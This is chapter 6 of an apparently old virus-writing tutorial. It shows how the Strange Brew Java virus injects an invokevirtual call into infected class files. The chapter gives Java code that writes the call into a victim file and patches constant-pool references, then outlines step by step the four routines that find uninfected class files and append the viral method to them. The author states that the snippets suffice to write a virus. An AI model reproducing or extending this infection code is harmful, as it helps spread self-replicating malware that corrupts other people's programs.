[ chapter 6 ]
introduction 

As with all things in life whenever you seem to think that the end is in sight someone comes along and fucks it all up. We have all the tools at our disposal to insert our virus into a file. But what good is this when the new method does not get executed by anything? The solution is to insert a call to the viral method in another ordinary method in the file. 

analysis 
 

  • invokevirtual
  • To understand how this is going to work it is important to understand how java calls its methods. This is accomplished through the use of the invokevirtual instruction (0xB6). The instruction is three bytes in length and takes a two byte fields as its operand which contains a reference to a CONSTANT_Methodref location. The Methodref constant contains two fields which are references to Class and NameAndType constants as seen in the diagram below: 

    CONSTANT_Methodref  
     | 
     |--------CONSTANT_Class 
     |     | 
     |     |---------CONSTANT_Utf8 Class Name 
     | 
     |--------CONSTANT_NameAndType 
           | 
           |---------CONSTANT_Utf8 Method Name 
           | 
           |---------CONSTANT_Utf8 Return type 

    To insert a call to a viral method we insert the following four byte code 0x2a,0xb6,constant_pool[] 
    Where constant_pool[] is the CONSTANT_Methodref 

    //write the invokevirtual 
    victim.writeShort(0x2AB6); 
    victim.writeShort(victim_cp_count +  
                      virus_methodref - 1); 

    (Ed: The 0x2a is the aload_0 instruction which pushes a null byte onto the stack because our viral method is a void method ie. it does not return anything) 

    When we update constants with the delta_offset we must look out for the Methodref that calls us and change the Class Name field to refer to the newly infected file's class name. This field known as this_class is located 2 bytes after the end of the constants_pool. 

    //update the virus_methodref with this_class 
    if (i == virus_methodref) { 
       data1 = victim.readUnsignedShort(); 
       data2 = victim.readUnsignedShort(); 
       victim.seek(fpointer);                       
       victim.writeShort(victim_this_class); 
       victim.writeShort(data2 + delta_offset); 
       fpointer += 4; 
       victim.seek(fpointer);  
       continue; 
    } 

    conclusion

    It may disappoint you to discover that this is the end of the instructive chapters in this document. The snippets of code in this and previous chapters are sufficient to enable you to write a virus. For those people who still cannot see how they would go about it, below I present a list of operations that you should be trying to achieve, if you are feeling slack or just want to see how I wrote the Strange Brew Virus you will find the code along with other sources in the src directory. To compile the Strange Brew virus you must compile it then run VirusInfo and fill in the blanks. You must also fill in the number of the invokevirtual methodref which can be found by using javap, and then recompile it, see the source for details. 

    Strange Brew Virus was written in four parts.
          
    // Virus Routine A 
    // - Create instance of current directory 
    // - Search for an infected host 
    // - Open the infected host 
    // - Read the host_cp_count 
    // - Seek to the end of the host_cp save fpointer 
    // - Seek to the host_method_count save fpointer 
    // - Seek to host_code_length 
    // - Test length matches virus_code_length 
    // - Read the host_method 
    // - Read the host_cp 
    // - Close the host      

    // Virus Routine B 
    // - Create instance of current directory 
    // - Search for an uninfected victim 
    // - Open uninfected victim 
    // - Read victim_cp_count 
    // - Seek to end of victim_cp save 
         fpointer
    // - Read victim_this_class 
    // - Seek to the victim_method_count save 
         fpointer 
    // - Read victim_method_access_flags 
    // - Calculate victim_extra_length 
    // - Read victim_method_attribute_length 
    // - Write method_attribute_length + extra_length 
    // - Read victim_method_code_length 
    // - Write method_code_length + extra_length 
    // - If not static method write invokevirtual 
    // - Write padding to mark the infection 
    // - If static method break out of loop      

    // Virus Routine C 
    // - Seek to victim_method_count 
    // - Write victim_method_count + 1 
    // - Write host_method 
    // - Account for delta_offset in host_method

    // Virus Routine D 
    // - Seek to victim_cp_count 
    // - Write victim_cp_count + total_cp_count 
    // - Seek to victim_cp_pointer 
    // - Write host_cp 
    // - Account for delta_offset in host_method and 
    // - Account for this_class in methodref